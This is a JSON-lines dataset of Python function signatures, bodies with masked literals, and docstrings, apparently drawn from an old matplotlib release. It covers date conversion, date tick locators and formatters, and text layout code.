{"signature": "def autoscale_None(self):", "body": "if self._A is None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self.norm.autoscale_None(self._A)<EOL>self.changed()<EOL>", "docstring": "Autoscale the scalar limits on the norm instance using the\ncurrent array, changing only limits that are None", "id": "f17188:c0:m11"}
{"signature": "def add_checker(self, checker):", "body": "self.update_dict[checker] = False<EOL>", "docstring": "Add an entry to a dictionary of boolean flags\nthat are set to True when the mappable is changed.", "id": "f17188:c0:m12"}
{"signature": "def check_update(self, checker):", "body": "if self.update_dict[checker]:<EOL><INDENT>self.update_dict[checker] = False<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "If mappable has changed since the last check,\nreturn True; else return False", "id": "f17188:c0:m13"}
{"signature": "def changed(self):", "body": "self.callbacksSM.process('<STR_LIT>', self)<EOL>for key in self.update_dict:<EOL><INDENT>self.update_dict[key] = True<EOL><DEDENT>", "docstring": "Call this whenever the mappable is changed to notify all the\ncallbackSM listeners to the 'changed' signal", "id": "f17188:c0:m14"}
{"signature": "def _to_ordinalf(dt):", "body": "if hasattr(dt, '<STR_LIT>') and dt.tzinfo is not None:<EOL><INDENT>delta = dt.tzinfo.utcoffset(dt)<EOL>if delta is not None:<EOL><INDENT>dt -= delta<EOL><DEDENT><DEDENT>base =  float(dt.toordinal())<EOL>if hasattr(dt, '<STR_LIT>'):<EOL><INDENT>base += (dt.hour/HOURS_PER_DAY + dt.minute/MINUTES_PER_DAY +<EOL>dt.second/SECONDS_PER_DAY + dt.microsecond/MUSECONDS_PER_DAY<EOL>)<EOL><DEDENT>return base<EOL>", "docstring": "Convert :mod:`datetime` to the Gregorian date as UTC float days,\npreserving hours, minutes, seconds and microseconds.  Return value\nis a :func:`float`.", "id": "f17189:m1"}
{"signature": "def _from_ordinalf(x, tz=None):", "body": "if tz is None: tz = _get_rc_timezone()<EOL>ix = int(x)<EOL>dt = datetime.datetime.fromordinal(ix)<EOL>remainder = float(x) - ix<EOL>hour, remainder = divmod(<NUM_LIT>*remainder, <NUM_LIT:1>)<EOL>minute, remainder = divmod(<NUM_LIT>*remainder, <NUM_LIT:1>)<EOL>second, remainder = divmod(<NUM_LIT>*remainder, <NUM_LIT:1>)<EOL>microsecond = int(<NUM_LIT>*remainder)<EOL>if microsecond<<NUM_LIT:10>: microsecond=<NUM_LIT:0> <EOL>dt = datetime.datetime(<EOL>dt.year, dt.month, dt.day, int(hour), int(minute), int(second),<EOL>microsecond, tzinfo=UTC).astimezone(tz)<EOL>if microsecond><NUM_LIT>:  <EOL><INDENT>dt += datetime.timedelta(microseconds=<NUM_LIT>-microsecond)<EOL><DEDENT>return dt<EOL>", "docstring": "Convert Gregorian float of the date, preserving hours, minutes,\nseconds and microseconds.  Return value is a :class:`datetime`.", "id": "f17189:m2"}
{"signature": "def date2num(d):", "body": "if not cbook.iterable(d): return _to_ordinalf(d)<EOL>else: return np.asarray([_to_ordinalf(val) for val in d])<EOL>", "docstring": "*d* is either a :class:`datetime` instance or a sequence of datetimes.\n\nReturn value is a floating point number (or sequence of floats)\nwhich gives number of days (fraction part represents hours,\nminutes, seconds) since 0001-01-01 00:00:00 UTC.", "id": "f17189:m4"}
{"signature": "def julian2num(j):", "body": "if cbook.iterable(j): j = np.asarray(j)<EOL>return j + <NUM_LIT><EOL>", "docstring": "Convert a Julian date (or sequence) to a matplotlib date (or sequence).", "id": "f17189:m5"}
{"signature": "def num2julian(n):", "body": "if cbook.iterable(n): n = np.asarray(n)<EOL>return n - <NUM_LIT><EOL>", "docstring": "Convert a matplotlib date (or sequence) to a Julian date (or sequence).", "id": "f17189:m6"}
{"signature": "def num2date(x, tz=None):", "body": "if tz is None: tz = _get_rc_timezone()<EOL>if not cbook.iterable(x): return _from_ordinalf(x, tz)<EOL>else: return [_from_ordinalf(val, tz) for val in x]<EOL>", "docstring": "*x* is a float value which gives number of days (fraction part\nrepresents hours, minutes, seconds) since 0001-01-01 00:00:00 UTC.\n\nReturn value is a :class:`datetime` instance in timezone *tz* (default to\nrcparams TZ value).\n\nIf *x* is a sequence, a sequence of :class:`datetime` objects will\nbe returned.", "id": "f17189:m7"}
{"signature": "def drange(dstart, dend, delta):", "body": "step = (delta.days + delta.seconds/SECONDS_PER_DAY +<EOL>delta.microseconds/MUSECONDS_PER_DAY)<EOL>f1 = _to_ordinalf(dstart)<EOL>f2 = _to_ordinalf(dend)<EOL>return np.arange(f1, f2, step)<EOL>", "docstring": "Return a date range as float Gregorian ordinals.  *dstart* and\n*dend* are :class:`datetime` instances.  *delta* is a\n:class:`datetime.timedelta` instance.", "id": "f17189:m8"}
{"signature": "def _close_to_dt(d1, d2, epsilon=<NUM_LIT:5>):", "body": "delta = d2-d1<EOL>mus = abs(delta.days*MUSECONDS_PER_DAY + delta.seconds*<NUM_LIT> +<EOL>delta.microseconds)<EOL>assert(mus<epsilon)<EOL>", "docstring": "Assert that datetimes *d1* and *d2* are within *epsilon* microseconds.", "id": "f17189:m9"}
{"signature": "def _close_to_num(o1, o2, epsilon=<NUM_LIT:5>):", "body": "delta = abs((o2-o1)*MUSECONDS_PER_DAY)<EOL>assert(delta<epsilon)<EOL>", "docstring": "Assert that float ordinals *o1* and *o2* are within *epsilon* microseconds.", "id": "f17189:m10"}
{"signature": "def epoch2num(e):", "body": "spd = <NUM_LIT>*<NUM_LIT><EOL>return <NUM_LIT> + np.asarray(e)/spd<EOL>", "docstring": "Convert an epoch or sequence of epochs to the new date format,\nthat is days since 0001.", "id": "f17189:m11"}
{"signature": "def num2epoch(d):", "body": "spd = <NUM_LIT>*<NUM_LIT><EOL>return (np.asarray(d)-<NUM_LIT>)*spd<EOL>", "docstring": "Convert days since 0001 to epoch.  *d* can be a number or sequence.", "id": "f17189:m12"}
{"signature": "def mx2num(mxdates):", "body": "scalar = False<EOL>if not cbook.iterable(mxdates):<EOL><INDENT>scalar = True<EOL>mxdates = [mxdates]<EOL><DEDENT>ret = epoch2num([m.ticks() for m in mxdates])<EOL>if scalar: return ret[<NUM_LIT:0>]<EOL>else: return ret<EOL>", "docstring": "Convert mx :class:`datetime` instance (or sequence of mx\ninstances) to the new date format.", "id": "f17189:m13"}
{"signature": "def date_ticker_factory(span, tz=None, numticks=<NUM_LIT:5>):", "body": "if span==<NUM_LIT:0>: span = <NUM_LIT:1>/<NUM_LIT><EOL>minutes = span*<NUM_LIT>*<NUM_LIT><EOL>hours  = span*<NUM_LIT><EOL>days   = span<EOL>weeks  = span/<NUM_LIT><EOL>months = span/<NUM_LIT> <EOL>years  = span/<NUM_LIT><EOL>if years>numticks:<EOL><INDENT>locator = YearLocator(int(years/numticks), tz=tz)  <EOL>fmt = '<STR_LIT>'<EOL><DEDENT>elif months>numticks:<EOL><INDENT>locator = MonthLocator(tz=tz)<EOL>fmt = '<STR_LIT>'<EOL><DEDENT>elif weeks>numticks:<EOL><INDENT>locator = WeekdayLocator(tz=tz)<EOL>fmt = '<STR_LIT>'<EOL><DEDENT>elif days>numticks:<EOL><INDENT>locator = DayLocator(interval=int(math.ceil(days/numticks)), tz=tz)<EOL>fmt = '<STR_LIT>'<EOL><DEDENT>elif hours>numticks:<EOL><INDENT>locator = HourLocator(interval=int(math.ceil(hours/numticks)), tz=tz)<EOL>fmt = '<STR_LIT>'<EOL><DEDENT>elif minutes>numticks:<EOL><INDENT>locator = MinuteLocator(interval=int(math.ceil(minutes/numticks)), tz=tz)<EOL>fmt = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>locator = MinuteLocator(tz=tz)<EOL>fmt = '<STR_LIT>'<EOL><DEDENT>formatter = DateFormatter(fmt, tz=tz)<EOL>return locator, formatter<EOL>", "docstring": "Create a date locator with *numticks* (approx) and a date formatter\nfor *span* in days.  Return value is (locator, formatter).", "id": "f17189:m14"}
{"signature": "def seconds(s):", "body": "return float(s)/SEC_PER_DAY<EOL>", "docstring": "Return seconds as days.", "id": "f17189:m15"}
{"signature": "def minutes(m):", "body": "return float(m)/MINUTES_PER_DAY<EOL>", "docstring": "Return minutes as days.", "id": "f17189:m16"}
{"signature": "def hours(h):", "body": "return h/<NUM_LIT><EOL>", "docstring": "Return hours as days.", "id": "f17189:m17"}
{"signature": "def weeks(w):", "body": "return w*<NUM_LIT><EOL>", "docstring": "Return weeks as days.", "id": "f17189:m18"}
{"signature": "def __init__(self, fmt):", "body": "self.fmt = fmt<EOL>", "docstring": "fmt: any valid strptime format is supported", "id": "f17189:c0:m0"}
{"signature": "def __call__(self, s):", "body": "return date2num(datetime.datetime(*time.strptime(s, self.fmt)[:<NUM_LIT:6>]))<EOL>", "docstring": "s : string to be converted\n           return value: a date2num float", "id": "f17189:c0:m1"}
{"signature": "def __init__(self, fmt, tz=None):", "body": "if tz is None: tz = _get_rc_timezone()<EOL>self.fmt = fmt<EOL>self.tz = tz<EOL>", "docstring": "*fmt* is an :func:`strftime` format string; *tz* is the\n :class:`tzinfo` instance.", "id": "f17189:c1:m0"}
{"signature": "def __init__(self, t, fmt, tz=None):", "body": "if tz is None: tz = _get_rc_timezone()<EOL>self.t = t<EOL>self.fmt = fmt<EOL>self.tz = tz<EOL>", "docstring": "*t* is a sequence of dates (floating point days).  *fmt* is a\n:func:`strftime` format string.", "id": "f17189:c2:m0"}
{"signature": "def __call__(self, x, pos=<NUM_LIT:0>):", "body": "ind = int(round(x))<EOL>if ind>=len(self.t) or ind<=<NUM_LIT:0>: return '<STR_LIT>'<EOL>dt = num2date(self.t[ind], self.tz)<EOL>return cbook.unicode_safe(dt.strftime(self.fmt))<EOL>", "docstring": "Return the label for time *x* at position *pos*", "id": "f17189:c2:m1"}
{"signature": "def __init__(self, tz=None):", "body": "if tz is None: tz = _get_rc_timezone()<EOL>self.tz = tz<EOL>", "docstring": "*tz* is a :class:`tzinfo` instance.", "id": "f17189:c5:m0"}
{"signature": "def _get_unit(self):", "body": "return <NUM_LIT:1><EOL>", "docstring": "Return how many days a unit of the locator is; used for\nintelligent autoscaling.", "id": "f17189:c5:m4"}
{"signature": "def _get_unit(self):", "body": "freq = self.rule._rrule._freq<EOL>if ( freq == YEARLY ):<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>elif ( freq == MONTHLY ):<EOL><INDENT>return <NUM_LIT:30><EOL><DEDENT>elif ( freq == WEEKLY ):<EOL><INDENT>return <NUM_LIT:7><EOL><DEDENT>elif ( freq == DAILY ):<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>elif ( freq == HOURLY ):<EOL><INDENT>return (<NUM_LIT:1.0>/<NUM_LIT>)<EOL><DEDENT>elif ( freq == MINUTELY ):<EOL><INDENT>return (<NUM_LIT:1.0>/(<NUM_LIT>*<NUM_LIT>))<EOL><DEDENT>elif ( freq == SECONDLY ):<EOL><INDENT>return (<NUM_LIT:1.0>/(<NUM_LIT>*<NUM_LIT>))<EOL><DEDENT>else:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>", "docstring": "Return how many days a unit of the locator is; used for\nintelligent autoscaling.", "id": "f17189:c6:m2"}
{"signature": "def autoscale(self):", "body": "dmin, dmax = self.datalim_to_dt()<EOL>if dmin>dmax:<EOL><INDENT>dmax, dmin = dmin, dmax<EOL><DEDENT>delta = relativedelta(dmax, dmin)<EOL>self.rule.set(dtstart=dmin-delta, until=dmax+delta)<EOL>dmin, dmax = self.datalim_to_dt()<EOL>vmin = self.rule.before(dmin, True)<EOL>if not vmin: vmin=dmin<EOL>vmax = self.rule.after(dmax, True)<EOL>if not vmax: vmax=dmax<EOL>vmin = date2num(vmin)<EOL>vmax = date2num(vmax)<EOL>return self.nonsingular(vmin, vmax)<EOL>", "docstring": "Set the view limits to include the data range.", "id": "f17189:c6:m3"}
{"signature": "def __call__(self):", "body": "self.refresh()<EOL>return self._locator()<EOL>", "docstring": "Return the locations of the ticks", "id": "f17189:c7:m1"}
{"signature": "def refresh(self):", "body": "dmin, dmax = self.viewlim_to_dt()<EOL>self._locator = self.get_locator(dmin, dmax)<EOL>", "docstring": "Refresh internal information based on current limits.", "id": "f17189:c7:m3"}
{"signature": "def autoscale(self):", "body": "dmin, dmax = self.datalim_to_dt()<EOL>self._locator = self.get_locator(dmin, dmax)<EOL>return self._locator.autoscale()<EOL>", "docstring": "Try to choose the view limits intelligently.", "id": "f17189:c7:m5"}
{"signature": "def get_locator(self, dmin, dmax):", "body": "delta = relativedelta(dmax, dmin)<EOL>numYears = (delta.years * <NUM_LIT:1.0>)<EOL>numMonths = (numYears * <NUM_LIT>) + delta.months<EOL>numDays = (numMonths * <NUM_LIT>) + delta.days<EOL>numHours = (numDays * <NUM_LIT>) + delta.hours<EOL>numMinutes = (numHours * <NUM_LIT>) + delta.minutes<EOL>numSeconds = (numMinutes * <NUM_LIT>) + delta.seconds<EOL>numticks = <NUM_LIT:5><EOL>interval = <NUM_LIT:1><EOL>bymonth = <NUM_LIT:1><EOL>bymonthday = <NUM_LIT:1><EOL>byhour = <NUM_LIT:0><EOL>byminute = <NUM_LIT:0><EOL>bysecond = <NUM_LIT:0><EOL>if ( numYears >= numticks ):<EOL><INDENT>self._freq = YEARLY<EOL><DEDENT>elif ( numMonths >= numticks ):<EOL><INDENT>self._freq = MONTHLY<EOL>bymonth = list(range(<NUM_LIT:1>, <NUM_LIT>))<EOL>if ( (<NUM_LIT:0> <= numMonths) and (numMonths <= <NUM_LIT>) ):<EOL><INDENT>interval = <NUM_LIT:1>      <EOL><DEDENT>elif ( (<NUM_LIT:15> <= numMonths) and (numMonths <= <NUM_LIT>) ):<EOL><INDENT>interval = <NUM_LIT:3>      <EOL><DEDENT>elif ( (<NUM_LIT:30> <= numMonths) and (numMonths <= <NUM_LIT>) ):<EOL><INDENT>interval = <NUM_LIT:4>      <EOL><DEDENT>else:   <EOL><INDENT>interval = <NUM_LIT:6>      <EOL><DEDENT><DEDENT>elif ( numDays >= numticks ):<EOL><INDENT>self._freq = DAILY<EOL>bymonth = None<EOL>bymonthday = list(range(<NUM_LIT:1>, <NUM_LIT:32>))<EOL>if ( (<NUM_LIT:0> <= numDays) and (numDays <= <NUM_LIT:9>) ):<EOL><INDENT>interval = <NUM_LIT:1>      <EOL><DEDENT>elif ( (<NUM_LIT:10> <= numDays) and (numDays <= <NUM_LIT>) ):<EOL><INDENT>interval = <NUM_LIT:2>      <EOL><DEDENT>elif ( (<NUM_LIT:20> <= numDays) and (numDays <= <NUM_LIT>) ):<EOL><INDENT>interval = <NUM_LIT:3>      <EOL><DEDENT>elif ( (<NUM_LIT:50> <= numDays) and (numDays <= <NUM_LIT>) ):<EOL><INDENT>interval = <NUM_LIT:7>      <EOL><DEDENT>else:   <EOL><INDENT>interval = <NUM_LIT>     <EOL><DEDENT><DEDENT>elif ( numHours >= numticks ):<EOL><INDENT>self._freq = HOURLY<EOL>bymonth = None<EOL>bymonthday = None<EOL>byhour = list(range(<NUM_LIT:0>, <NUM_LIT>))      <EOL>if ( (<NUM_LIT:0> <= numHours) and (numHours <= <NUM_LIT>) ):<EOL><INDENT>interval = <NUM_LIT:1>      <EOL><DEDENT>elif ( (<NUM_LIT:15> <= numHours) and (numHours <= <NUM_LIT:30>) ):<EOL><INDENT>interval = <NUM_LIT:2>      <EOL><DEDENT>elif ( (<NUM_LIT:30> <= numHours) and (numHours <= <NUM_LIT>) ):<EOL><INDENT>interval = <NUM_LIT:3>      <EOL><DEDENT>elif ( (<NUM_LIT> <= numHours) and (numHours <= <NUM_LIT>) ):<EOL><INDENT>interval = <NUM_LIT:4>      <EOL><DEDENT>elif ( (<NUM_LIT> <= numHours) and (numHours <= <NUM_LIT>) ):<EOL><INDENT>interval = <NUM_LIT:6>      <EOL><DEDENT>else:   <EOL><INDENT>interval = <NUM_LIT:12>     <EOL><DEDENT><DEDENT>elif ( numMinutes >= numticks ):<EOL><INDENT>self._freq = MINUTELY<EOL>bymonth = None<EOL>bymonthday = None<EOL>byhour = None<EOL>byminute = list(range(<NUM_LIT:0>, <NUM_LIT>))<EOL>if ( numMinutes > (<NUM_LIT> * numticks) ):<EOL><INDENT>interval = <NUM_LIT:10><EOL><DEDENT><DEDENT>elif ( numSeconds >= numticks ):<EOL><INDENT>self._freq = SECONDLY<EOL>bymonth = None<EOL>bymonthday = None<EOL>byhour = None<EOL>byminute = None<EOL>bysecond = list(range(<NUM_LIT:0>, <NUM_LIT>))<EOL>if ( numSeconds > (<NUM_LIT> * numticks) ):<EOL><INDENT>interval = <NUM_LIT:10><EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>rrule = rrulewrapper( self._freq, interval=interval,dtstart=dmin, until=dmax,bymonth=bymonth, bymonthday=bymonthday,byhour=byhour, byminute = byminute,bysecond=bysecond )<EOL>locator = RRuleLocator(rrule, self.tz)<EOL>locator.set_axis(self.axis)<EOL>locator.set_view_interval(*self.axis.get_view_interval())<EOL>locator.set_data_interval(*self.axis.get_data_interval())<EOL>return locator<EOL>", "docstring": "Pick the best locator based on a distance.", "id": "f17189:c7:m6"}
{"signature": "def __init__(self, base=<NUM_LIT:1>, month=<NUM_LIT:1>, day=<NUM_LIT:1>, tz=None):", "body": "DateLocator.__init__(self, tz)<EOL>self.base = ticker.Base(base)<EOL>self.replaced = { '<STR_LIT>'  : month,<EOL>'<STR_LIT>'    : day,<EOL>'<STR_LIT>'   : <NUM_LIT:0>,<EOL>'<STR_LIT>' : <NUM_LIT:0>,<EOL>'<STR_LIT>' : <NUM_LIT:0>,<EOL>'<STR_LIT>' : tz<EOL>}<EOL>", "docstring": "Mark years that are multiple of base on a given month and day\n(default jan 1).", "id": "f17189:c8:m0"}
{"signature": "def _get_unit(self):", "body": "return <NUM_LIT><EOL>", "docstring": "Return how many days a unit of the locator is; used for\nintelligent autoscaling.", "id": "f17189:c8:m1"}
{"signature": "def autoscale(self):", "body": "dmin, dmax = self.datalim_to_dt()<EOL>ymin = self.base.le(dmin.year)<EOL>ymax = self.base.ge(dmax.year)<EOL>vmin = dmin.replace(year=ymin, **self.replaced)<EOL>vmax = dmax.replace(year=ymax, **self.replaced)<EOL>vmin = date2num(vmin)<EOL>vmax = date2num(vmax)<EOL>return self.nonsingular(vmin, vmax)<EOL>", "docstring": "Set the view limits to include the data range.", "id": "f17189:c8:m3"}
{"signature": "def __init__(self,  bymonth=None, bymonthday=<NUM_LIT:1>, interval=<NUM_LIT:1>, tz=None):", "body": "if bymonth is None: bymonth=list(range(<NUM_LIT:1>,<NUM_LIT>))<EOL>o = rrulewrapper(MONTHLY, bymonth=bymonth, bymonthday=bymonthday,<EOL>interval=interval, **self.hms0d)<EOL>RRuleLocator.__init__(self, o, tz)<EOL>", "docstring": "Mark every month in *bymonth*; *bymonth* can be an int or\nsequence.  Default is ``range(1,13)``, i.e. every month.\n\n*interval* is the interval between each iteration.  For\nexample, if ``interval=2``, mark every second occurance.", "id": "f17189:c9:m0"}
{"signature": "def _get_unit(self):", "body": "return <NUM_LIT:30><EOL>", "docstring": "Return how many days a unit of the locator is; used for\nintelligent autoscaling.", "id": "f17189:c9:m1"}
{"signature": "def __init__(self,  byweekday=<NUM_LIT:1>, interval=<NUM_LIT:1>, tz=None):", "body": "o = rrulewrapper(DAILY, byweekday=byweekday,<EOL>interval=interval, **self.hms0d)<EOL>RRuleLocator.__init__(self, o, tz)<EOL>", "docstring": "Mark every weekday in *byweekday*; *byweekday* can be a number or\nsequence.\n\nElements of *byweekday* must be one of MO, TU, WE, TH, FR, SA,\nSU, the constants from :mod:`dateutils.rrule`.\n\n*interval* specifies the number of weeks to skip.  For example,\n``interval=2`` plots every second week.", "id": "f17189:c10:m0"}
{"signature": "def _get_unit(self):", "body": "return <NUM_LIT:7><EOL>", "docstring": "return how many days a unit of the locator is; used for\nintelligent autoscaling.", "id": "f17189:c10:m1"}
{"signature": "def __init__(self,  bymonthday=None, interval=<NUM_LIT:1>, tz=None):", "body": "if bymonthday is None: bymonthday=list(range(<NUM_LIT:1>,<NUM_LIT:32>))<EOL>o = rrulewrapper(DAILY, bymonthday=bymonthday,<EOL>interval=interval, **self.hms0d)<EOL>RRuleLocator.__init__(self, o, tz)<EOL>", "docstring": "Mark every day in *bymonthday*; *bymonthday* can be an int or\nsequence.\n\nDefault is to tick every day of the month: ``bymonthday=range(1,32)``", "id": "f17189:c11:m0"}
{"signature": "def _get_unit(self):", "body": "return <NUM_LIT:1><EOL>", "docstring": "Return how many days a unit of the locator is; used for\nintelligent autoscaling.", "id": "f17189:c11:m1"}
{"signature": "def __init__(self,  byhour=None, interval=<NUM_LIT:1>, tz=None):", "body": "if byhour is None: byhour=list(range(<NUM_LIT>))<EOL>rule = rrulewrapper(HOURLY, byhour=byhour, interval=interval,<EOL>byminute=<NUM_LIT:0>, bysecond=<NUM_LIT:0>)<EOL>RRuleLocator.__init__(self, rule, tz)<EOL>", "docstring": "Mark every hour in *byhour*; *byhour* can be an int or sequence.\nDefault is to tick every hour: ``byhour=range(24)``\n\n*interval* is the interval between each iteration.  For\nexample, if ``interval=2``, mark every second occurrence.", "id": "f17189:c12:m0"}
{"signature": "def _get_unit(self):", "body": "return <NUM_LIT:1>/<NUM_LIT><EOL>", "docstring": "return how many days a unit of the locator is; use for\nintelligent autoscaling", "id": "f17189:c12:m1"}
{"signature": "def __init__(self,  byminute=None, interval=<NUM_LIT:1>, tz=None):", "body": "if byminute is None: byminute=list(range(<NUM_LIT>))<EOL>rule = rrulewrapper(MINUTELY, byminute=byminute, interval=interval,<EOL>bysecond=<NUM_LIT:0>)<EOL>RRuleLocator.__init__(self, rule, tz)<EOL>", "docstring": "Mark every minute in *byminute*; *byminute* can be an int or\nsequence.  Default is to tick every minute: ``byminute=range(60)``\n\n*interval* is the interval between each iteration.  For\nexample, if ``interval=2``, mark every second occurrence.", "id": "f17189:c13:m0"}
{"signature": "def _get_unit(self):", "body": "return <NUM_LIT:1.>/(<NUM_LIT>*<NUM_LIT>)<EOL>", "docstring": "Return how many days a unit of the locator is; used for\nintelligent autoscaling.", "id": "f17189:c13:m1"}
{"signature": "def __init__(self,  bysecond=None, interval=<NUM_LIT:1>, tz=None):", "body": "if bysecond is None: bysecond=list(range(<NUM_LIT>))<EOL>rule = rrulewrapper(SECONDLY, bysecond=bysecond, interval=interval)<EOL>RRuleLocator.__init__(self, rule, tz)<EOL>", "docstring": "Mark every second in *bysecond*; *bysecond* can be an int or\nsequence.  Default is to tick every second: ``bysecond = range(60)``\n\n*interval* is the interval between each iteration.  For\nexample, if ``interval=2``, mark every second occurrence.", "id": "f17189:c14:m0"}
{"signature": "def _get_unit(self):", "body": "return <NUM_LIT:1.>/(<NUM_LIT>*<NUM_LIT>*<NUM_LIT>)<EOL>", "docstring": "Return how many days a unit of the locator is; used for\nintelligent autoscaling.", "id": "f17189:c14:m1"}
{"signature": "def axisinfo(unit):", "body": "if unit=='<STR_LIT:date>':<EOL><INDENT>majloc = AutoDateLocator()<EOL>majfmt = AutoDateFormatter(majloc)<EOL>return units.AxisInfo(<EOL>majloc = majloc,<EOL>majfmt = majfmt,<EOL>label='<STR_LIT>',<EOL>)<EOL><DEDENT>else: return None<EOL>", "docstring": "return the unit AxisInfo", "id": "f17189:c15:m0"}
{"signature": "def default_units(x):", "body": "return '<STR_LIT:date>'<EOL>", "docstring": "Return the default unit for *x* or None", "id": "f17189:c15:m2"}
{"signature": "def _process_text_args(override, fontdict=None, **kwargs):", "body": "if fontdict is not None:<EOL><INDENT>override.update(fontdict)<EOL><DEDENT>override.update(kwargs)<EOL>return override<EOL>", "docstring": "Return an override dict.  See :func:`~pyplot.text' docstring for info", "id": "f17190:m0"}
{"signature": "def get_rotation(rotation):", "body": "if rotation in ('<STR_LIT>', None):<EOL><INDENT>angle = <NUM_LIT:0.><EOL><DEDENT>elif rotation == '<STR_LIT>':<EOL><INDENT>angle = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>angle = float(rotation)<EOL><DEDENT>return angle%<NUM_LIT><EOL>", "docstring": "Return the text angle as float.\n\n*rotation* may be 'horizontal', 'vertical', or a numeric value in degrees.", "id": "f17190:m1"}
{"signature": "def _get_textbox(text, renderer):", "body": "projected_xs = []<EOL>projected_ys = []<EOL>theta = text.get_rotation()/<NUM_LIT>*math.pi<EOL>tr = mtransforms.Affine2D().rotate(-theta)<EOL>for t, wh, x, y in text._get_layout(renderer)[<NUM_LIT:1>]:<EOL><INDENT>w, h = wh<EOL>xt1, yt1 = tr.transform_point((x, y))<EOL>xt2, yt2 = xt1+w, yt1+h<EOL>projected_xs.extend([xt1, xt2])<EOL>projected_ys.extend([yt1, yt2])<EOL><DEDENT>xt_box, yt_box = min(projected_xs), min(projected_ys)<EOL>w_box, h_box = max(projected_xs) - xt_box, max(projected_ys) - yt_box<EOL>tr = mtransforms.Affine2D().rotate(theta)<EOL>x_box, y_box = tr.transform_point((xt_box, yt_box))<EOL>return x_box, y_box, w_box, h_box<EOL>", "docstring": "Calculate the bounding box of the text. Unlike\n:meth:`matplotlib.text.Text.get_extents` method, The bbox size of\nthe text before the rotation is calculated.", "id": "f17190:m2"}
{"signature": "def __init__(self,<EOL>x=<NUM_LIT:0>, y=<NUM_LIT:0>, text='<STR_LIT>',<EOL>color=None,          <EOL>verticalalignment='<STR_LIT>',<EOL>horizontalalignment='<STR_LIT:left>',<EOL>multialignment=None,<EOL>fontproperties=None, <EOL>rotation=None,<EOL>linespacing=None,<EOL>**kwargs<EOL>):", "body": "Artist.__init__(self)<EOL>self.cached = maxdict(<NUM_LIT:5>)<EOL>self._x, self._y = x, y<EOL>if color is None: color = rcParams['<STR_LIT>']<EOL>if fontproperties is None: fontproperties=FontProperties()<EOL>elif is_string_like(fontproperties): fontproperties=FontProperties(fontproperties)<EOL>self.set_text(text)<EOL>self.set_color(color)<EOL>self._verticalalignment = verticalalignment<EOL>self._horizontalalignment = horizontalalignment<EOL>self._multialignment = multialignment<EOL>self._rotation = rotation<EOL>self._fontproperties = fontproperties<EOL>self._bbox = None<EOL>self._bbox_patch = None <EOL>self._renderer = None<EOL>if linespacing is None:<EOL><INDENT>linespacing = <NUM_LIT>   <EOL><DEDENT>self._linespacing = linespacing<EOL>self.update(kwargs)<EOL>", "docstring": "Create a :class:`~matplotlib.text.Text` instance at *x*, *y*\nwith string *text*.\n\nValid kwargs are\n%(Text)s", "id": "f17190:c0:m1"}
{"signature": "def contains(self,mouseevent):", "body": "if callable(self._contains): return self._contains(self,mouseevent)<EOL>if not self.get_visible() or self._renderer is None:<EOL><INDENT>return False,{}<EOL><DEDENT>l,b,w,h = self.get_window_extent().bounds<EOL>r = l+w<EOL>t = b+h<EOL>xyverts = (l,b), (l, t), (r, t), (r, b)<EOL>x, y = mouseevent.x, mouseevent.y<EOL>inside = nxutils.pnpoly(x, y, xyverts)<EOL>return inside,{}<EOL>", "docstring": "Test whether the mouse event occurred in the patch.\n\n        In the case of text, a hit is true anywhere in the\n        axis-aligned bounding-box containing the text.\n\n        Returns True or False.", "id": "f17190:c0:m2"}
{"signature": "def _get_xy_display(self):", "body": "x, y = self.get_position()<EOL>return self.get_transform().transform_point((x,y))<EOL>", "docstring": "get the (possibly unit converted) transformed x, y in display coords", "id": "f17190:c0:m3"}
{"signature": "def get_rotation(self):", "body": "return get_rotation(self._rotation)<EOL>", "docstring": "return the text angle as float in degrees", "id": "f17190:c0:m5"}
{"signature": "def update_from(self, other):", "body": "Artist.update_from(self, other)<EOL>self._color = other._color<EOL>self._multialignment = other._multialignment<EOL>self._verticalalignment = other._verticalalignment<EOL>self._horizontalalignment = other._horizontalalignment<EOL>self._fontproperties = other._fontproperties.copy()<EOL>self._rotation = other._rotation<EOL>self._picker = other._picker<EOL>self._linespacing = other._linespacing<EOL>", "docstring": "Copy properties from other to self", "id": "f17190:c0:m6"}
{"signature": "def set_bbox(self, rectprops):", "body": "<EOL>if rectprops is not None and \"<STR_LIT>\" in rectprops:<EOL><INDENT>props = rectprops.copy()<EOL>boxstyle = props.pop(\"<STR_LIT>\")<EOL>bbox_transmuter = props.pop(\"<STR_LIT>\", None)<EOL>self._bbox_patch = FancyBboxPatch((<NUM_LIT:0.>, <NUM_LIT:0.>),<EOL><NUM_LIT:1.>, <NUM_LIT:1.>,<EOL>boxstyle=boxstyle,<EOL>bbox_transmuter=bbox_transmuter,<EOL>transform=mtransforms.IdentityTransform(),<EOL>**props)<EOL>self._bbox = None<EOL><DEDENT>else:<EOL><INDENT>self._bbox_patch = None<EOL>self._bbox = rectprops<EOL><DEDENT>", "docstring": "Draw a bounding box around self.  rectprops are any settable\nproperties for a rectangle, eg facecolor='red', alpha=0.5.\n\n  t.set_bbox(dict(facecolor='red', alpha=0.5))\n\nIf rectprops has \"boxstyle\" key. A FancyBboxPatch\nis initialized with rectprops and will be drawn. The mutation\nscale of the FancyBboxPath is set to the fontsize.\n\nACCEPTS: rectangle prop dict", "id": "f17190:c0:m8"}
{"signature": "def get_bbox_patch(self):", "body": "return self._bbox_patch<EOL>", "docstring": "Return the bbox Patch object. Returns None if the the\nFancyBboxPatch is not made.", "id": "f17190:c0:m9"}
